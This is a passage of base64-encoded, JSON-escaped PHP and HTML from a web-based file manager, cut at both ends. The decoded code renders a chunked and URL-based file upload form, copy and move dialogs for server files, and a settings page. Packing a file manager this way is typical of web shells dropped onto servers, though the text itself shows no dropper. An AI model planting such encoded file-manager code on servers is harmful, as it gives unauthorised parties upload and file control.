IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtc2hvdy1oaWRkZW5cIiBuYW1lPVwianMtc2hvdy1oaWRkZW5cIiB2YWx1ZT1cInRydWVcIiA8P3BocCBlY2hvICRzaG93X2hpZGRlbl9maWxlcyA/ICdjaGVja2VkJyA6ICcnOyA/PiBcLz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1oaWRlLWNvbHNcIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ0hpZGVDb2x1bW5zJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tOVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWNoZWNrIGZvcm0tc3dpdGNoXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImZvcm0tY2hlY2staW5wdXRcIiB0eXBlPVwiY2hlY2tib3hcIiByb2xlPVwic3dpdGNoXCIgaWQ9XCJqcy1oaWRlLWNvbHNcIiBuYW1lPVwianMtaGlkZS1jb2xzXCIgdmFsdWU9XCJ0cnVlXCIgPD9waHAgZWNobyAkaGlkZV9Db2xzID8gJ2NoZWNrZWQnIDogJyc7ID8+IFwvPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuXG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtYi0zIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLTMtMVwiIGNsYXNzPVwiY29sLXNtLTMgY29sLWZvcm0tbGFiZWxcIj48P3BocCBlY2hvIGxuZygnVGhlbWUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC1zbS01XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBjbGFzcz1cImZvcm0tc2VsZWN0IHctMTAwIHRleHQtY2FwaXRhbGl6ZVwiIGlkPVwianMtMy0wXCIgbmFtZT1cImpzLXRoZW1lLTNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nbGlnaHQnIDw/cGhwIGlmICgkdGhlbWUgPT0gXCJsaWdodFwiKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA